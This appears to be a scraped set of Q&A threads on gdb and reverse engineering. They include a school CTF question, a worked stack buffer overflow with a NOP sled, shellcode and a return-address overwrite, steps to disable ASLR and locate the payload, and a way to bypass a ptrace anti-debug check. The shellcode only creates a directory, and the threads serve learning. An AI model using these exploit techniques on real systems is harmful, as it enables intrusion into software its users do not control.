I'm reversing a compiled program (written in C) and this one opens a file (which I don't have permission to read) like this:
fopen("/home/user00/.pass", 'r')
then it checks the return:
...
0x4008a8 <main+148>: call 0x400700 <fopen#plt>
0x4008ad <main+153>: mov QWORD PTR [rbp-0x8],rax
=> 0x4008b1 <main+157>: cmp QWORD PTR [rbp-0x8],0x0
0x4008b6 <main+162>: jne 0x4008e6 <main+210>
0x4008dc <main+200>: mov edi,0x1
0x4008e1 <main+205>: call 0x400710 <exit#plt>
...
So if the file doesn't open the program exits.
I obviously can trick this, setting $rax=1, but then the program will try to read the file and it receives a segfault.
So I thought I can:
gdb call fopen("/a/file/I/can/read", 'r')
And continue my reverse work, but sadly the program receives a different segfault when I execute this command.
So I wonder, is it possible in some way (by allocating or whatever) to call fopen ?
I already searched answers on the internet without success.
This program is part of my school's Security ISO CTF challenge.
Thanks!
sadly the program receives a different segfault when I execute this command.
That's because you have a bug in your command. It should be:
(gdb) call fopen("/a/file/I/can/read", "r")
(Unlike in Python, the kind of quotes you use in C matters.)
Related
So, my English is very bad, but I will try to explain my problem clearly(sorry about that).
I have a program in the ะก programming language:
#include <stdio.h>
#include <string.h>
void vuln_func(char *data) {
char buff[256];
strcpy(buff, data);
}
void main(int argc, char *argv[]) {
vuln_func(argv[1]);
}
The program accepts any line for input. I want to enter a payload into it, which will create a TEST directory in the directory from which this program is launched.
How it works:
I run a program in the debugger with a string containing the payload:
(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')
In the payload, first there are 233 "nop" instructions, then the shellcode that creates the "TEST" directory, then the address to which the program should go when it reaches the "ret" instruction
Part of the program code in the form of instructions in the debugger:
(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x108
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x108]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy#plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
End of assembler dump.
So, the "strcpy" function puts the string that we entered into the program on the stack.
Then a couple more instructions are executed. When the program reaches the "ret" instruction, the return address is on the stack. By default, it points to the address in the "main" function. I want it to point to my payload located on the stack. When the program is executed through the debugger, I can see where the return address lies in the stack and calculate the required number of "nop" instructions before the payload and the value of the desired return address. But what to do when I want to execute a program without a debugger. How do I find out where my shell code is in the stack?
I tried using the same return address that I used in the payload via the debugger, but my ubuntu system reports the error "Segmentation fault (core dumped)" . That is, the return address does not correspond to the real address space of the stack, which is allocated for this program when running through the ubuntu terminal.
update: I looked at the core dump of this program. Every time I run it through the terminal, the stack address changes a lot. Here are a few stack addresses where my shell code was located:
0xbfda4161
0xbfc89161
0xbf944161
Why does the stack address change so much if I have already disabled the dynamic address space?
The value of the esp register on entry into main depends on the environment variables and the size of the argv[n] strings (in addition to being randomized by the kernel, which you've turned off).
I suspect that in your case the difference is caused by argv[0], which GDB tends to resolve to the full pathname of the binary.
You didn't tell us how you invoke the vulnerable binary outside of GDB. If you do something like ./vuln $(python -c ...) or vuln $(python -c ...), try running it as $(realpath ./vuln) $(python -c ...) instead -- that should match what happens in GDB.
I solved the proble.
Firstly, I didn't think about the fact that the ASLR shutdown setting is disabled every time I log out.
How to do:
Disable ASLR. For ubuntu 16, I used the following command: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
View the core dump data. I did it using the "coredumpctl" utility.
First I looked at the list of fallen programs: coredumpctl list, found the process number for my program in it.
Then went under the debugger: coredumpctl gdb your_proc_pid.
In the debugger, I looked at the stack address using: (gdb) info stack, found where my payload lies in the stack: x/90xw 0xstack_address.
I changed the address in my payload, now the program does not break when running in the terminal.
I have a simple program that I am using to test a python riscv disassembler I am making and I want to use gdb/qemu to test my work. The program is this literally just this:
int main(int argc, char *argv[]) {
while (1);
return 0;
}
this is the command I am using to start gdb:
gdb-multiarch ./test -ex "target remote :7224" -ex "tbreak main:4" -ex "continue"
This is what was used to compile it:
riscv64-linux-gnu-gcc -o test test.c
But I am getting this error when I try to change any memory values:
(gdb) disassemble
Dump of assembler code for function main:
0x00000040000005ea <+0>: addi sp,sp,-32
=> 0x00000040000005ec <+2>: sd s0,24(sp)
0x00000040000005ee <+4>: addi s0,sp,32
0x00000040000005f0 <+6>: mv a5,a0
0x00000040000005f2 <+8>: sd a1,-32(s0)
0x00000040000005f6 <+12>: sw a5,-20(s0)
0x00000040000005fa <+16>: j 0x40000005fa <main+16>
End of assembler dump.
(gdb) set *(int*) $pc = 0x2e325f43
Cannot access memory at address 0x40000005ec
I just want to see what instruction gdb interprets with the bytes I set. Google has been little to no help with this. What could I be doing wrong?
Figured it out in a stupid manner.
set $pc = $sp
Then I can change the pc
This command:
set *(int*) $pc = 0x2e325f43
is trying to write a value to the memory the PC currently points at (that's 0x00000040000005ec in this case). As it happens, that memory is read-only, which is pretty usual for areas of memory with code in them[*]. So gdb tells you it can't write there. You should be able to write to memory which isn't read-only.
[*] With a suitable linker map you can create binaries which have the code in writeable memory. But the default for Linux executables is that code segments are read-only.
Your other command:
set $pc = $sp
changes the PC; it sets it to whatever the stack pointer is pointing at. That's going to be fatal for any further attempts to execute code, unless you put some code there, of course. As it happens, the stack is generally writeable, which is why writing to the memory pointed to by the PC then works.
I'm watching a video which explain how to solve a challenge on root-me.org
https://asciinema.org/a/22558
the command he used is
toggle_flag 'S'
I google it to know what was the purpose of the command toggle_flag but didn't find anything. So I downloaded GDB PEDA to check if the was some useful informations using the command
help all
which is suppose to list all command available in GDB PEDA...But didn't find any useful..
So doe anyone can explain me what "toggle_flag 'S' " does mean ?
Thanks
Here is instruction after break on which toggle_flag 'S' is executed:
0x8048410 <main+32>: call 0x8058a70 <ptrace>
0x8048415 <main+37>: add esp,0x10
0x8048418 <main+40>: test eax,eax
=> 0x804841a <main+42>: jns 0x8048436 <main+70>
You can see here the check for the presence of a debugger with help of ptrace function. In C it will be look like that:
if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
// Under debugger
}
After ptrace call at 0x8048410 its return value is stored in eax and
command test eax, eax sets Sign Flag (SF) if eax is negative (i.e. if debugger is present). We don't want the program detected that it is under debugger so with command toggle_flag 'S' we toggle SF, i.e. set it to 0.
A quick question here:
I'm trying to experiment with inline assembly using Embarcadero C++ Builder XE3 on 32-bit Windows 7, specifically to start re-teaching myself assembly with the possibility of future pragmatic application.
So far I've been able to write a set of instructions within a simple console project which compiles fine using all C++ Builder syntax at my disposal:
int _tmain(int argc, _TCHAR* argv[]) {
_asm{
mov dl, 0x24
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
mov dl, 0x25
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
mov dl, 0x26
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
mov dl, 0x27
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
int 0x20 // terminate COM
}
return 0;
}
This compiles ok, and these instructions work straight in NASM and the Windows native DEBUG environment. What I expect is a simple write to the console: $%&' followed by a successful termination.
However, when I try to run Project1.exe via the command line I immediately get a standard Win7 runtime error popup which disappears after a few seconds and terminates the program.
Running with debugging, I seem to be successfully reaching the first int 0x21 before it hangs, at which point Borland gives me the message:
Project Project1.exe raised exception class $C00000005 with message 'access violation at 0x00401213: read of address 0xffffffff'.
My theory is that I'm not properly initializing the segment with a 256-byte offset (NASM would use something like org 0x100 at the beginning of the instruction set). But I'm not entirely sure that's the issue.
Any ideas?
Those int 0x21 instructions are for MS-DOS and not Windows. They mean something else in a Windows program, with the result that you go up in flames.
I work primarily in C++ Builder, But I've also programmed assembly and nasm for production code (mainly on micros). My recommendation is not to go near C++ builder for anything you don't have to. Learning can be an art and the way you go about learning has a lot to do with the outcome. C++ Builder integration with assembly is a detour through South Compton. Even though it may not be the way you normally work, it will pay off big time to learn nasm in pure command line.
I suspect that we've run into a compiler bug in VS2013. Setting a single breakpoint actually inserts a breakpoint into two different addresses of the code.
I set a breakpoint on line 89 of a source file (MessageServerManager.cpp). Here is a snippet of that part of the code (a normal method in a class):
87: void MessageServerManager::setup_dsp_emulation()
88: {
89: auto dsp_emulation_setting = util::get_env_var("DSP_EMULATION");
90: _emulating_dsp = !dsp_emulation_setting.empty();
91:
92: if (_emulating_dsp)
When I do this, a single breakpoint appears in VS2013's breakpoint window. However, when the code is built and executed (with optimizations turned off, by the way), the view changes to the following:
Notice that the two breakpoints are at different addresses. When the first breakpoint is hit, the highlighted line in VS is line 89, but when viewing the disassembly, it's actually in another piece of code (the object's constructor).
Since it's in the objects constructor, it's probably a good idea to share how this object is created. It's a singleton that basically looks like the following:
class MessageServerManager : public boost::basic_lockable_adapter < std::recursive_mutex >
{
public:
inline static MessageServerManager& instance() { static MessageServerManager manager; return manager; }
void start_dsp_facing_server();
private:
MessageServerManager();
}
And the very first time we're accessing MessageServerManager, we're calling start_dsp_facing_server() (it's one of the first few lines of main()):
MessageServerManager::instance().start_dsp_facing_server();
The following is the disassembled code of the breakpoint that's in the incorrect location. The C++ code shown is the method the breakpoint should be set on (start_dsp_facing_server()), but the disassembled code is obviously different (it's the constructor):
87: void MessageServerManager::setup_dsp_emulation()
88: {
89: auto dsp_emulation_setting = util::get_env_var("DSP_EMULATION");
011AAB8F push 0
011AAB91 mov ecx,dword ptr [this]
011AAB94 add ecx,8
011AAB97 call std::shared_ptr<messaging::IMessageServer>::shared_ptr<messaging::IMessageServer> (010619C9h)
011AAB9C mov byte ptr [ebp-4],1
90: _emulating_dsp = !dsp_emulation_setting.empty();
011AABA0 push 0
011AABA2 mov ecx,dword ptr [this]
011AABA5 add ecx,10h
011AABA8 call std::unique_ptr<radian::SimpleThread,std::default_delete<radian::SimpleThread> >::unique_ptr<radian::SimpleThread,std::default_delete<radian::SimpleThread> > (0106E5CAh)
011AABAD mov byte ptr [ebp-4],2
91:
92: if (_emulating_dsp)
93: {
If I look at the disassembly of the other location of the breakpoint, that part also shows a line 89, but it's the right disassembly.
This is in VS2013 update 4, C++ native application, linked against Boost 1.56.0 and Qt 5.3.1, 32-bit.
Has anyone seen this before, know potential causes, and possible solutions?
I've seen this question (and the suggestion about line endings), and I'm aware that optimizations can reorder code and cause odd debugger behavior, but I've batch converted my files to ensure they have proper line endings, and we have optimizations turned off.
I would post a minimal example that shows this behavior, but I'm not able to reproduce this on demand with other code.